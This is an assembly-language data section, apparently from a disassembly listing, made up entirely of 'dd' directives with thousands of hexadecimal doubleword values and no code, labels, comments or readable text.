		dd 0BFEB8D18h, 1326C066h, 0D96AEEh, 0C3BA8E17h,	6776205Ah
		dd 9BAEDB03h, 0C2CA5B4Ch, 1A2F40DAh, 0CA800B7h,	32F6C035h
		dd 6A014195h, 6268E18Bh, 42F063F4h, 0CEDA093Fh,	5E802E93h
		dd 71C97398h, 0D9A85102h, 40CFB5E7h, 8966DCh, 8045E82Dh
		dd 8FF48C1Fh, 51DC4800h, 0D53923D9h, 2F9A0393h,	655D0D6Bh
		dd 9D4DC0E8h, 7754EA07h, 0A8474EE0h, 61F68B50h,	0F2A70002h
		dd 8985C3A9h, 0CA017C50h, 0ECAA3A56h, 32F0CDA3h, 0CEC500DAh
		dd 94B4D3EFh, 0A43CFE93h, 579C003Bh, 13F56DBh, 0D48E17F7h
		dd 21711331h, 32C39080h, 35BD07FCh, 2E41CDA4h, 0BFCCCABh
		dd 3B7A51h, 96F69164h, 0B22AACAFh, 1C4E6800h, 0CA4385CBh
		dd 16900EDh, 7BC2EF5Fh,	200367Ch, 973A219Bh, 18CC6FFAh
		dd 0A4F7D89Ch, 0A60040F2h, 0E8D7A091h, 0F4976ECBh, 14E20158h
		dd 0B8C0CC83h, 8480F0EDh, 2C52A700h, 96D485A6h,	0F1C40104h
		dd 43AC5F75h, 951820FBh, 8F0F24F4h, 870F81F4h, 0F7B0337Eh
		dd 2C78B8AEh, 540134Eh,	80252A61h, 0B71134D8h, 695A771Ch
		dd 9163A240h, 0F439B48h, 2A7AB06Bh, 0C8F90036h,	0DBEEB706h
		dd 347A6AF4h, 80199D3Ah, 13E7CE7h, 1C93DEh, 8A917ECAh
		dd 0CDA0AF43h, 556E6103h, 98BBED94h, 0D5B186h, 29EF7190h
		dd 36FB62A3h, 4CAC8400h, 0B8C499B6h, 72C01CAh, 1BBD46A0h
		dd 564730A4h, 1AA37C00h, 0C339AC9Ah, 459B0008h,	0CA13104h
		dd 0D47424B8h, 51A9DD0Fh, 20CBAF96h, 9248BFF2h,	0DE970017h
		dd 0FBB2A057h, 0FF00BB4Eh, 0C61BDBA2h, 7E274533h, 154700D2h
		dd 7D6AD91h, 0E500DEBFh, 43BC4C6Ah, 39C17A9Ah, 9C9D9052h
		dd 9698BFBh, 32ECB183h,	2D613488h, 433BFA00h, 6B93BF8Dh
		dd 13E29Ah, 596CE275h, 7D2A78AEh, 0EFAA2800h, 71F81AFFh
		dd 0F072E0h, 89B0DA46h,	0BC87FE63h, 97E36A1Dh, 0DEEA0641h
		dd 16D0C384h, 0E53C0031h, 0FF1C1ADh, 0EF01DAD7h, 0A1657634h
		dd 0CF70ECB6h, 0F72C0099h, 729FA36Ch, 4300080Ch, 4C85F548h
		dd 7B6D79E1h, 508003A6h, 70EFAB89h, 0B23B0288h,	5323D000h
		dd 2E514B5Fh, 31571B24h, 0B4C0199Bh, 0A0982A03h, 0CA10C301h
		dd 0DB409E9Ah, 222B3480h, 3B736184h, 0D9641501h, 0CBDF3807h
		dd 7D54ECh, 0C61D23D3h,	0EB4C09B8h, 8CA9DE00h, 1F905BD6h
		dd 0BD130FFDh, 6261A831h, 0DC7976D2h, 2600E460h, 0FAB36C7Bh
		dd 502A7750h, 0F8E39B44h, 0E6831686h, 47A20ED9h, 0DF890620h
		dd 6C00F275h, 403BE254h, 3B72B1FCh, 1103D527h, 866A4EF6h
		dd 0C6C836DBh, 210733BEh, 3EA727C5h, 0DA003017h, 79824EF8h
		dd 0AEE90055h, 0E174A6Ah, 3D0354AAh, 1B974DBBh,	1F08A064h
		dd 47A1A08Dh, 0B8A3039Fh, 0F62FE572h, 999BF0D8h, 0A900EDE0h
		dd 91424C28h, 0E90A3BDh, 2ED1835Ch, 0D9E7A0C0h,	0D31FC570h
		dd 0C6C062FDh, 0FB6375F5h, 0E968012Ch, 188261C7h, 0EBCCE409h
		dd 9ED79B0Eh, 0DD00F6FFh, 441BBFF3h, 3B70EA7Ch,	0A080C51Dh
		dd 5FDDF758h, 5E003623h, 0ED378A9Ch, 9A3FFDh, 53072284h
		dd 74E28BC5h, 0DC0BF507h, 1DE3FB7Fh, 0F357A8D6h, 0B72C005Eh
		dd 128A47EBh, 0A401364Ah, 6F2FBE84h, 78E85C3Eh,	729B00FDh
		dd 0D14943A8h, 0A3037F47h, 3B5F5738h, 0F2FBE8DFh, 0AFE0083h
		dd 0DEFAE192h, 5400BE24h, 0C3EA7E41h, 882E53h, 0E81A608Dh
		dd 72A7E702h, 5019F01Fh, 0EF752940h, 6E1F40DFh,	7A8051CBh
		dd 94CC01D9h, 8FBE0197h, 38837624h, 0DC93F417h,	2CE1282Ch
		dd 0D5C1D100h, 72992D3h, 346D2F73h, 0F49F703Dh,	103CEB0h
		dd 7884148Ah, 9B2AC045h, 2C36006Ch, 5E5D3C6Bh, 0EA00442Dh
		dd 41788610h, 0E3ECB4h,	4BE4B28Eh, 535AB650h, 0CF8F8200h
		dd 4F798337h, 816114B7h, 8000E0F4h, 0C5590A5Bh,	0EF07E576h
		dd 481B7221h, 0F5093333h, 0AF5CAEC1h, 0DD7070h,	1C3CF6DEh
		dd 8B080A39h, 0E16FC10Eh, 7BD000CEh, 0B6BB9h, 80A6977Dh
		dd 0E42809F5h, 0F7BDE106h, 74718185h, 3012EE6Fh, 0F510EEC1h
		dd 0F9702860h, 4C577D07h, 5840ED10h, 126D2A2Bh,	37EDE80h
		dd 40B6D1EEh, 265CA390h, 72F3E300h, 53D97D25h, 312D0008h
		dd 0BAD80E1Fh, 34020410h, 0F921A3E1h, 5624C074h, 28790080h
		dd 51184F76h, 750AD284h, 44C4129Ah, 0F93A7204h,	0CB136C91h
		dd 0F1F02FC1h, 0A39079h, 0ED2EEEC3h, 9A9869A3h,	3DAD7307h
		dd 9360B9CAh, 0F4FCE3C4h, 0B8C80089h, 36F4F82Eh, 531FE17Eh
		dd 5640C2D6h, 281EE2E8h, 0B8CF0098h, 0A8018B47h, 0BA006DCBh
		dd 0AA84FB2Dh, 313514h,	339694D6h, 0D747BFD2h, 8E9A6000h
		dd 0FDA155F7h, 0ECB1CBA5h, 14DB2D00h, 71008FB4h, 75EE58D8h
		dd 5544D596h, 0D087B86Ah, 6725B866h, 0EA768362h, 36B5FBB0h
		dd 63219CE5h, 5A2BA901h, 398082D8h, 1A0326D6h, 8B608A58h
		dd 856DC529h, 372D008Eh, 4C824559h, 0A600ACB5h,	4B4FCD6h
		dd 7DA9F81Ch, 9E59C0E0h, 0D64CE8A7h, 8C43760Fh,	0D903C0EEh
		dd 1673DF9Fh, 7A8121Bh,	0F18B69A8h, 0F0A51ADAh,	1500F296h
		dd 0FEDE84C0h, 0A9D559h, 8F616DC7h, 99F030F1h, 78EEE803h
		dd 7F7DD71h, 0F8BFF5D8h, 0EAE1CED3h, 0F4B975ECh, 720033F0h
		dd 0BDEE8934h, 1D047098h, 9D808FCAh, 0F6928CA8h, 4F0027A8h
		dd 0DBB77DB4h, 7F05895h, 6DCE1EE8h, 70CB85DCh, 25D45704h
		dd 0ED076C7Ch, 0A66AD02h, 29CEB6A0h, 50840C52h,	4B285A7Bh
		dd 0B8133801h, 65C74CEFh, 0CAF201h, 8E669Ah, 0C2DD93F1h
		dd 693BC6E8h, 54E73Ch, 0A760EC95h, 229AE93Fh, 9E228675h
		dd 898AEEE7h, 442508FCh, 51C0CA83h, 23AA7733h, 638A00A8h
		dd 0EDB29259h, 950135B8h, 7394C4D6h, 0DDE07C3Ch, 252801D3h
		dd 0C88B34A5h, 749141C6h, 9C7DC8E4h, 2E970500h,	904552BEh
		dd 952C0067h, 0DD66A5D8h, 1600DF1Ch, 844701F3h,	1C8D73Ah
		dd 67921F4Bh, 430FF211h, 100096D0h, 1666231Bh, 0C32EECh
		dd 0A6FE31FFh, 0A0831359h, 0ADE78BFh, 0F1DC3690h, 2A4F00D0h
		dd 610310EFh, 0FE3DDB00h, 0D9CEA58Dh, 9CBB00D6h, 202BB929h
		dd 0ED7721F0h, 0F29B98C0h, 3FB24012h, 4F0019F8h, 8822F173h
		dd 25003BA8h, 8E538D3Eh
		dd 730DB75h, 365C141Ch,	131110CBh, 0A41E1EEDh, 7B4BC923h
		dd 0C21F00BDh, 1D20EA53h, 7CF584E3h, 1BF28B0Eh,	0F929C07Dh
		dd 0E83DC9A4h, 0B8765C01h, 1AD7A820h, 0D470ECh,	778CFBD6h
		dd 5BA15968h, 2CF44900h, 15AA7193h, 0A0B8A3h, 0F9EBE80Ch
		dd 3AF6FA94h, 1C514E00h, 4D84A75Bh, 65EA007Dh, 476E3999h
		dd 0B7187280h, 0DF289409h, 0DAF12E03h, 91D200DEh, 7E243285h
		dd 8723263Dh, 28FDC9A7h, 3CE02FB0h, 204901FFh, 0B08CFAB5h
		dd 0C157DE1Ah, 0AA6090FBh, 0D0E03D03h, 0F7508780h, 2636EAFBh
		dd 4273D400h, 11D97240h, 0D8920048h, 0DE3F1BC3h, 0FB006CDAh
		dd 5D54241Eh, 0A0233h, 0AABDE473h, 4492C4FEh, 0A253F400h
		dd 80378BE3h, 7E1501BFh, 0C57762C7h, 0A434FC7Dh, 29BBEC00h
		dd 80B2A285h, 4BC300D2h, 680AD1EEh, 990077ACh, 0F352B802h
		dd 637C69h, 0C7543D55h,	0CBB473DAh, 0A070B91Dh,	8590B601h
		dd 0BED4D43Bh, 0D9E200DBh, 0F2694E14h, 39009BD0h, 95CD797h
		dd 3537FEh, 2DD18707h, 9860325Eh, 0F1447300h, 0ECA3A05Ch
		dd 379600E8h, 5B56804Ch, 0B97F85CCh, 42EE3D00h,	606C59FBh
		dd 3CC10720h, 909C1726h, 3D2B41F8h, 37C6F000h, 0CB535F30h
		dd 0BDA100C7h, 7D6F4A5Ah, 0F71C889Dh, 0B88003DBh, 0EE08E7A8h
		dd 1C570011h, 0EAD45DC4h, 9000BE3h, 0F73687E2h,	31B8E90h
		dd 97754ACDh, 0F1B8706Ch, 6900D509h, 0AD35FE4h,	1668CC0h
		dd 6572F84Ah, 70445CB0h, 640E55CDh, 0E0592B25h,	0C92A4812h
		dd 766A00A3h, 0F0068B0Fh, 0A02D298h, 0BEEBE05Bh, 0B26AC022h
		dd 5C2A1D97h, 0FA37C0DAh, 4646698h, 35DC3D02h, 0E344B417h
		dd 0DF8EA992h, 7B4EF4h,	0EF58A526h, 0C3041A72h,	0A2D4F000h
		dd 6EC6BBE1h, 62D000Bh,	0C80E9DEBh, 33003A7Eh, 7C546B5Bh
		dd 393532FDh, 0F003F72h, 70F3FFADh, 0D0005329h,	17A0051Ch
		dd 0BF3CA9h, 62CBF866h,	403D5EB3h, 0B004CE0Ch, 5724A9Ch
		dd 57E96CDDh, 9812ABh, 4442924Dh, 7A00BC47h, 9AD6CA67h
		dd 0F4AEC4h, 1DE6E121h,	4396B5C5h, 1AEB1400h, 0F9362D9Bh
		dd 3F3F7F84h, 0A00DD76h, 0DA04A7BBh, 0CF7C1EADh, 0B830BE07h
		dd 0AA11DC8Fh, 0AC423419h, 136041B2h, 0D2EDFCh,	0DCEF225Ah
		dd 71F47ECBh, 6D312600h, 0F27CC9F5h, 9C05075Dh,	104E43DBh
		dd 19E08521h, 50CAD903h, 0F8AD22C2h, 4152BC0h, 62A531C4h
		dd 0D482C0A2h, 2EF84DC7h, 0ABDDD100h, 32180BE0h, 732F0F74h
		dd 4D0FE107h, 71E44FE1h, 0C71EF044h, 161ED470h,	0DC8088C2h
		dd 0F9A9952Dh, 52CE0EEBh, 6F63BF91h, 1000A6D5h,	0ABC96613h
		dd 0E5F1534h, 60C57449h, 122C45h, 8AB3D058h, 0EE5E94C2h
		dd 58D493A1h, 19FD0052h, 47B43A29h, 0B6012669h,	0ED187DD4h
		dd 20807B89h, 0AA30EC0Dh, 0DC3D1DD2h, 297A01CFh, 0E3BDB373h
		dd 6FA81080h, 2E519921h, 0B405BC1Dh, 0AD00345Dh, 832681ECh
		dd 42950049h, 0FC841101h, 4C133A93h, 5B1FF273h,	0ADF0B084h
		dd 0EDC00080h, 0E4F50141h, 0DEA71A34h, 0CC0BD878h, 30F3443Bh
		dd 29B3F0A1h, 0A68403ABh, 0E132CDACh, 75D9B4F8h, 0F8AB100h
		dd 727631DBh, 0A766004Fh, 1C828D5Ah, 81005CA2h,	0E698631Bh
		dd 3F51D11h, 0D03B7049h, 6EF84B1Fh, 0B500E34Ah,	0CD41DE94h
		dd 0D86663h, 0C116A265h, 0BB4FFBEDh, 27EE2A00h,	0E2020A8Ch
		dd 0E57F0014h, 0EB8EF80Eh, 0A200AAE7h, 1E46539Ah, 7EA1CAh
		dd 0E1803A03h, 25EE32Ah, 0D7923600h, 6125DC52h,	1BC2396Eh
		dd 31826900h, 0D493CD1Ah, 60AF7104h, 0F1C05572h, 0F06DBA91h
		dd 0F1CB00B1h, 6B9D598Bh, 8F00FC81h, 3FE8949h, 311C12Dh
		dd 60C958CEh, 27D2D817h, 0CC1C21E1h, 0B409E35Bh, 31FDC2h
		dd 56B19F7Ch, 2E7576ABh, 25A6CEh, 0E70B950Ah, 47F404D4h
		dd 1E6FCA01h, 0AEE1F9ECh, 58CC70h, 8292B13Fh, 5ACC48A3h
		dd 4500B990h, 8DF24D67h, 0B0E246h, 0F91C0544h, 4F533FAh
		dd 0D18C9906h, 30D362h,	0E1FBEA54h, 5BACBD0Ch, 0AB197960h
		dd 0E77CE6B5h, 2090F5DCh, 9B00D4B7h, 5CB45238h,	3C591Eh
		dd 0A6C451ADh, 0BD6C7717h, 7300307Dh, 5B247F46h, 6DABA0h
		dd 1064FA09h, 1FCF54D0h, 0AA22E6C0h, 0F472563Ch, 16E90097h
		dd 0C83F5B9Dh, 6701B59Bh, 0A30F105Dh, 1C30D312h, 0A6B10755h
		dd 40BCD245h, 0BFBDF29Fh, 0A3D7CE00h, 79EE222Dh, 30DF0001h
		dd 422C4DD6h, 0C101AB93h, 0D1F20F80h, 91602D14h, 0F4D90E57h
		dd 0D4CC39Bh, 18005F18h, 71134886h, 1D5BC91Dh, 40ABA612h
		dd 4BEA809Dh, 0FC7767FDh, 0E776C800h, 792B0E58h, 0A7351FFBh
		dd 2C6C40D3h, 998CD675h, 9BD12A00h, 0B81DB1C8h,	48620094h
		dd 0A927FA9Ch, 68008CA8h, 0E6B65E8Ah, 54CFFE8h,	0D66B0328h
		dd 0EABC40C8h, 3296F50Eh, 2723A100h, 0DFF9826Ah, 8ACB4C75h
		dd 0D0151400h, 8DBEB7B9h, 32AA7000h, 1F5940C0h,	0CB4F001Bh
		dd 62A3D01Ch, 0DD00C874h, 0FE4CC3Ah, 0F08A46h, 0E754BA43h
		dd 0CA271BD1h, 0A00D0400h, 624C0FFh, 7D39005Fh,	0A8FE4AF8h
		dd 14009A20h, 0BFD42750h, 5BDC53h, 0CFCDED39h, 87DA432h
		dd 0C0992B00h, 62CCE929h, 0A0831285h, 0CFEF0E0Fh, 0E62E3920h
		dd 6C0C81B1h, 18FE0A27h, 9F4700A7h, 2003DD73h, 0E90B1219h
		dd 0E159586h, 31F4C03Ch, 780E60h, 5AEEA5C0h, 59ED8943h
		dd 7C4E4000h, 0CE3B5DB3h, 789902F1h, 9D621615h,	434FE3C0h
		dd 0A2249200h, 0A3060748h, 44A003Ch, 73FB355Bh,	0CE719B96h
		dd 2AEAD200h, 8A50D068h, 0A5BD0038h, 6482F98Fh,	0F0001C6Dh
		dd 20C06546h, 0E8F3A3h,	0FF5169D7h, 2C08E1C1h, 0A6F1721Eh
		dd 4F33EC80h, 0EE4247h,	14B21C22h, 0C3FE2C09h, 0AE1E2AFCh
		dd 3A8F2321h, 19E56084h, 4A7C81Eh, 48A5A183h, 0CFBA808Fh
		dd 0C6004D78h, 7B7FE5E9h, 3EBFFh, 22495BE8h, 1A966E4Eh
		dd 42415D0Bh, 0B7F50056h, 3B1C7BA9h, 17709B0h, 0E3CC0F1Eh
		dd 804DD47Ah, 15AEFB30h, 1C6A9E68h, 0C01CD9h, 19125614h
		dd 0A500C1B1h, 0C552AEF6h, 14C2B8E9h, 9402BC91h, 4C6E4E11h
		dd 7ADE1DB9h, 211072C0h, 1F0315ABh, 40236473h, 0AE59E16Dh
		dd 9D00D7E2h, 0DAB279CAh, 77941DCEh, 30EA245Dh,	649E0004h
		dd 0C192E40Dh, 759DB200h, 21CDCF35h, 0D96D0051h, 6391D031h
		dd 860068D5h, 416B1CF4h, 0FCFE60h, 0ABDC49DEh, 3A1B1504h
		dd 0CF00347Bh, 9819D410h, 0A4593Eh, 6E1FBDF1h, 71862860h
		dd 41724000h, 466820D2h, 6CCD0059h, 4EBAE7E1h, 0B40282CBh
		dd 6AB85137h, 46D0812Bh, 4C2080B9h, 0F5BB0049h,	81050431h
		dd 180082D9h, 0BDC0E9C4h, 12FF5A66h, 1F2796h, 952B7F2Ch
		dd 0AA181698h, 5E407E1Ah, 0BBE300F9h, 0F3E64EC0h, 0C200BF60h
		dd 3369D616h, 0BED1B5h,	2EF6ABA5h, 5E494129h, 9A036378h
		dd 8A23FC16h, 77EEA91Bh, 38919180h, 0EB2C3101h,	0CC6B6128h
		dd 0A93C4901h, 0C82021ACh, 18C45080h, 2FB6AF4Ch, 29068332h
		dd 1A9F403Dh, 840D005Eh, 249B2B18h, 0CD028F59h,	783A0DAh
		dd 0F7D08025h, 9E326C1h, 0BD0DAB20h, 0C8E7000h,	5E00F8E0h
		dd 17555FE7h, 26834Fh, 8A3B337Dh, 12A175FFh, 0A9E29A04h
		dd 0EC902CBAh, 10F6Bh, 0ACA45785h, 5302D7FEh, 4A01C676h
		dd 0DCE7BE3Eh, 0D0EF01DEh, 305F45A4h, 3EC90A6Fh, 0C403BA9Ch
		dd 0B6A781A1h, 4151B8EFh, 3B587283h, 8F00806Bh,	0B4AB9FBBh
		dd 0DA307FB2h, 56AD1092h, 0CE0B0044h, 9886A942h, 0F3E6E8A7h
		dd 29923Fh, 9372D44Dh
		dd 41373D3h, 71EAE27h, 0F8C480CBh, 23006F7Eh, 9A178E37h
		dd 418A97h, 4AE73071h, 6D75B8D4h, 54C74300h, 38FE73D2h
		dd 2621308Dh, 858BD311h, 0BB025503h, 0A3B7E345h, 18C5E0D0h
		dd 7E8014FDh, 0A630B80Bh, 2D4E5F31h, 69123505h,	0D080ADB2h
		dd 90270447h, 842F01FDh, 88317D4Ah, 6ECC456h, 0B7CFA900h
		dd 0C33CE825h, 308E0EC6h, 11C0714Eh, 6D70B863h,	8929C400h
		dd 0C93D9976h, 0ACD50E0Ah, 1DEA64E2h, 0B90900CCh, 0F2570D4Fh
		dd 7AD04B0Eh, 8920A391h, 0FFEBC896h, 48C33AB0h,	0D39D900h
		dd 0A88D9772h, 2026ED0Eh, 444D643Ch, 60A32C82h,	97C2354h
		dd 0A9038C04h, 59AF1800h, 660091BCh, 966D77A3h,	0F0609B62h
		dd 6CBA3C84h, 0DCF8A40Eh, 0FA72FEE0h, 0C217CCD4h, 1F006F53h
		dd 9FE125E0h, 0A2880793h, 70D42390h, 0C3A7D57Ah, 1E97DF18h
		dd 0E81168h, 0F63BDBD2h, 0A2166255h, 5F942800h,	769AE698h
		dd 0F00760A1h, 0DDDE47E2h, 5122FE00h, 9DD09F42h, 96C00123h
		dd 355D787Eh, 9E49C45Fh, 0D1F36B00h, 83192CA6h,	0E90E00EBh
		dd 8CD37A98h, 481D6EB5h, 64C0D69Dh, 0B7A37295h,	44220118h
		dd 0AD5B590Ch, 0D4602410h, 267A0900h, 4BBD5D91h, 53472C32h
		dd 18764050h, 0DD28CEFEh, 4400A46Ah, 0EE1EFC87h, 9CBFE5h
		dd 5E27685Ah, 0D0DA0F01h, 57D6EA05h, 0B000768Ch, 1C131462h
		dd 97AC00BBh, 274B40FDh, 23014209h, 218582FCh, 0F831B154h
		dd 0CECFC8h, 0C69F576Bh, 0A8E271B8h, 0C094744Ch, 6DC04EEAh
		dd 0A55200B3h, 49ED5516h, 3F7B485Bh, 1861D000h,	85D2C525h
		dd 95D42C92h, 0AAA20F90h, 0A3B3F2A3h, 2D598DE8h, 18857207h
		dd 3603996h, 8B8971h, 1CEA1B7h,	0BC730D28h, 75529F05h
		dd 0B080A2A9h, 90606AF2h, 870539ACh, 5D00C83Ah,	0FC98710Ah
		dd 0F7012079h, 0DC59F23Bh, 0A8EB4567h, 5A2DDh, 108F9EBEh
		dd 0D0735108h, 931F9602h, 681B9929h, 7243FD98h,	6970075Fh
		dd 30754EC4h, 0AC3080Eh, 0BCA06FE6h, 10034C8h, 0CF5161CDh
		dd 217B862h, 0BF6DFFC9h, 2862D43Bh, 22055363h, 751A15D7h
		dd 6A0C7880h, 1F440035h, 0FD0ECA81h, 2B00AD08h,	0D4DBAA53h
		dd 0FC6F26h, 2EAEC098h,	0EAE2E057h, 108C9E4Dh, 4A810B8Ch
		dd 0D0E6DFDCh, 7C01510Fh, 1F28BAA1h, 0D1CCA835h, 0EDE109A2h
		dd 0A4005B97h, 28052160h, 0C07DA100h, 0F04E9AB0h, 2EA60011h
		dd 3DE19939h, 0F4E4694Bh, 53512900h, 0B8D603DFh, 7DCB00ADh
		dd 7FDB859Ah, 1D729FBEh, 4F2D020Fh, 8FC2C0F5h, 3F9891FEh
		dd 4C85A66Bh, 80F1D73Ch, 3E8B595Dh, 40030AF6h, 827CCDDFh
		dd 0BF20B0BEh, 6D5009Fh, 163711ABh, 0D97936B3h,	75FAB800h
		dd 0E045E984h, 25E21CCCh, 7C62CE02h, 108027E9h,	3E689666h
		dd 0B416D800h, 47DE2BD2h, 20690044h, 0C8DF5D0Ch, 0D00CB51h
		dd 678BE003h, 8542A1h, 35A0FEE3h, 6C6C80Bh, 22005CB2h
		dd 86F56B1Fh, 0E2598C0Dh, 0B72B0041h, 144B1D38h, 1C0046A6h
		dd 0ED353A83h, 0B861A0EEh, 7827E93h, 716006BBh,	0EEFE0CDh
		dd 921FCA95h, 98802A7Eh, 64C2288Ah, 34A90185h, 293F9EC6h
		dd 1AED6061h, 0A23DE403h, 0DAD49B1Fh, 7898C4BFh, 3B9C0EEDh
		dd 0C15FD173h, 4162EABEh, 8010BF72h, 3E915429h,	12F09480h
		dd 0CD2863h, 37B39C40h,	0F60235FEh, 941C298Bh, 0DF1C407Fh
		dd 2A5E1D25h, 0E3D004Dh, 0B6AA59D2h, 8362110Fh,	5C2EA0E9h
		dd 9A9B3h, 0DE42D4B0h, 3B7F031h, 78516F00h, 83240CE0h
		dd 2747008Bh, 93A55D28h, 1A01F44Ah, 6C8FE90Fh, 0F020EA3Eh
		dd 7A8400FDh, 0EBE381CCh, 64E71034h, 6100F6B8h,	9A4FABFBh
		dd 1D06426Fh, 3C0A91Bh,	50FCE83Eh, 0EE0909Bh, 0C3FE0283h
		dd 2A2CF090h, 78160025h, 0FA5BC0Bh, 0DF1AE000h,	45BF09Bh
		dd 0C6F94127h, 0C0C0D06Fh, 151D43B1h, 1A05A47Bh, 198083FDh
		dd 0B21D203h, 11785E62h, 99726820h, 8D0E26CEh, 6088012Fh
		dd 4FF0E163h, 0C76E0EE6h, 0DE83F3h, 491B8DDAh, 9C00B667h
		dd 7E681164h, 39CA27BAh, 3B819D43h, 46C2EE79h, 0B3F03062h
		dd 246DE711h, 0AE8C8F00h, 0F1AC38D6h, 80351738h, 3655CA41h
		dd 48DA191Bh, 0E1D0080h, 4D720638h, 0EB041081h,	8217E09Fh
		dd 0ACFC8Ch, 8F5A2E13h,	0B0B6029Eh, 9CBC48h, 0F3D3AE32h
		dd 18CBA3BBh, 18C27051h, 0FAEEA8F4h, 19B36E05h,	0BD0018A5h
		dd 65FC9374h, 0E2721EC2h, 7C5ECFB1h, 0C17EE940h, 0F900B92Ah
		dd 771CE871h, 0D95CB7h,	1015FC8Ch, 0B85A6657h, 5687651Dh
		dd 0BBB2CE80h, 0D5AAF6h, 0B62FD1E3h, 0CF8A2776h, 60B8255Eh
		dd 67F4FA07h, 6E7530D2h, 1A00410Ah, 31C93A4h, 0A7ABD9h
		dd 8DE84E9Ch, 5BF2ACFEh, 12C8F81Fh, 8C203F9h, 66E2FCh
		dd 775DD098h, 0BCDAC646h, 513EDC00h, 27E1A8FEh,	3189C64h
		dd 88C67895h, 8F4656E0h, 994E6B1Fh, 0BDBA22C2h,	258E6F6h
		dd 85DCB08Ch, 3800DA01h, 126B69h, 7449477h, 0B86CAF76h
		dd 9131605h, 1C80658Ch,	94BD63Ah, 0D142E0B4h, 9B832400h
		dd 200F59Ch, 467BDB99h,	2DD861h, 0A83BB5A2h, 0FADE1C83h
		dd 5DCF08C9h, 270C7B01h, 0D067D1F6h, 963041A3h,	9B2C21FCh
		dd 45407D0h, 0C051A948h, 5C82D547h, 501C140Fh, 979C07CCh
		dd 0D7E906CEh, 1ED2F880h, 0B36441Ah, 1821E41Bh,	80490F2Bh
		dd 25F53440h, 0E0B8850h, 9052B4F0h, 0F2DA7F40h,	0F17E7BCEh
		dd 0D24D28C0h, 0A1C08086h, 2F08B6Ch, 52DB0ED1h,	4880A109h
		dd 86D790FDh, 8100167Fh, 4DE3E46Ah, 0C5A7EAh, 0F90FD479h
		dd 3EC754CDh, 0E688810Bh, 9FEF071Bh, 0BCA321C0h, 0C33A030Ah
		dd 50709CB9h, 0F11E8899h, 6F7730F6h, 1B08580Eh,	87C09C6Eh
		dd 784440Ch, 14D079Ch, 0E08E1EFDh, 0BB0C243h, 7ACC0800h
		dd 8C37D0ECh, 36D30FDAh, 0B86EBB8Ah, 7D4C9A60h,	0EE6EEE1h
		dd 27884700h, 0C6ACB251h, 0C46D0004h, 3C53ABE3h, 7AFEBA98h
		dd 0F837CB03h, 98677D79h, 705DC1Fh, 4D36E3F2h, 9DC6D0BBh
		dd 8C3FD520h, 0A98B01A7h, 0A2F571BDh, 0FEB1BBC4h, 925101F2h
		dd 85B928A6h, 23080B7h,	5A0B5BBEh, 83D505D4h, 40AEB34Ch
		dd 0DC2A47F8h, 260E2762h, 0B9DED461h, 68246008h, 0DCB20367h
		dd 508DA14h, 11FB28D0h,	0E65C2002h, 881CCAE2h, 3C80D898h
		dd 4E27ED61h, 33E4F80Fh, 0B2081735h, 0D85B2100h, 6B3EAEF3h
		dd 70F1004Dh, 8C476EF9h, 2300FC10h, 79DCD653h, 0C061B2BAh
		dd 1DDAD281h, 0A10035F2h, 0A52C62CCh, 0F605B7EAh, 0BECA0E06h
		dd 79614E22h, 0E0D41596h, 6A023641h, 0D71C041Bh, 1DACE00Ch
		dd 59B227AEh, 0EF805C8Fh, 0D2E43F0Fh, 0C1467206h, 6108BC4Ah
		dd 211421CBh, 7B35EC3Fh, 0EEF43100h, 0D420EBA5h, 8A010370h
		dd 1CE65AE9h, 56F3D906h, 520DF8Bh, 0D0AAD168h, 0E90485Bh
		dd 21ED63C0h, 157F214Eh, 3F5C4BBh, 6E85F3DAh, 89C0A30Eh
		dd 700FC3Eh, 20A92C1Ch,	7329BCDh, 17569A0Ah, 81E89ADCh
		dd 69E7A657h, 4274E016h, 40076000h, 3DDAFD7h, 0C4B60075h
		dd 0B85921FDh, 1000E38Fh, 0A623C4Ah, 322B29h, 8D0DB1EFh
		dd 85E8A36Bh, 5FE71700h, 573ADFEBh, 26CB3C3Fh, 98719A80h
		dd 4C6253D6h, 0C05F4700h, 8C03723Ah, 21C902BBh,	14E9FF79h
		dd 0D40A7540h, 66104E60h, 1B17255h, 1CDE35CAh, 6F326DFDh
		dd 9D43B0h, 0FF505D78h,	9E69EBDBh, 0E3F9F000h, 51D62CB6h
		dd 0B20D07C3h, 0C6DA5F13h, 0D3285088h, 0F60F044Eh, 83F8DDC9h
		dd 0C002DB51h, 3CBCD23h
		dd 55D6F263h, 38BBB564h, 8930A2E0h, 56194CEAh, 728F588h
		dd 0C3018C08h, 7EF637FCh, 0CA019E56h, 7F13104Eh, 1B8680F3h
		dd 629AFA40h, 343A5133h, 777E6F23h, 0DD0F4529h,	6A518857h
		dd 29DB983Bh, 0D400BFE5h, 71641D5Dh, 0C1BED3h, 4D536D77h
		dd 873D3C76h, 9DA88800h, 3EA26AD5h, 0C1F917FEh,	47460035h
		dd 63F3D1FFh, 0F1B05C00h, 0C8AE7AF0h, 5924020Fh, 0BD3E9A1Ah
		dd 159415E0h, 5318C760h, 0E896C8h, 14899C98h, 4CB0EDD1h
		dd 2725B200h, 5C7DA8Fh,	82D0030h, 864E851Ah, 230B3B55h
		dd 0F0D94DCh, 84EA207Fh, 0B2ED48h, 625FA43Ah, 127F0F35h
		dd 65FA99EAh, 4F6F4700h, 8C10AEFh, 341F8E6h, 125FA626h
		dd 300F3CEBh, 200C222Ch, 0A8CA97B5h, 0C3D70092h, 28BCE44Ah
		dd 0E80060D5h, 26C827C5h, 98BF6B0Ch, 471F00E5h,	8A76BBEAh
		dd 0EE000516h, 9896AC90h, 0A014DDh, 0C1852DC6h,	5D296DAAh
		dd 3A8B4E12h, 22884440h, 263897Bh, 72B5C2Ch, 0C2E0B4D9h
		dd 6E00A1C2h, 0CD64A2DEh, 7F574Eh, 5D370D83h, 0BD91BC05h
		dd 70CEC300h, 9BE2E1A1h, 0B65A0072h, 9623F1A5h,	8000C1F3h
		dd 798A5E09h, 2C82C82h,	8649E21Ah, 94803E53h, 0F1D982Ah
		dd 0D2697100h, 0E4E1EA7Eh, 24111DA6h, 5F803F87h, 0F08635C2h
		dd 630971CAh, 29F7D8h, 0A4BF7568h, 0B1E00045h, 3DC87C13h
		dd 1F00C926h, 35B0DDC3h, 2429FCF3h, 0BC1D9Fh, 0C4E5DE41h
		dd 0C8375C5Ah, 431078C6h, 6E0D9B91h, 0E1C0106Fh, 3801C04Eh
		dd 0B01AC709h, 9BAC21EFh, 0B12A3BA1h, 854CC416h, 48411900h
		dd 4A9D5C52h, 54E3007Fh, 0D01FFB90h, 81D35C3h, 1C1830E7h
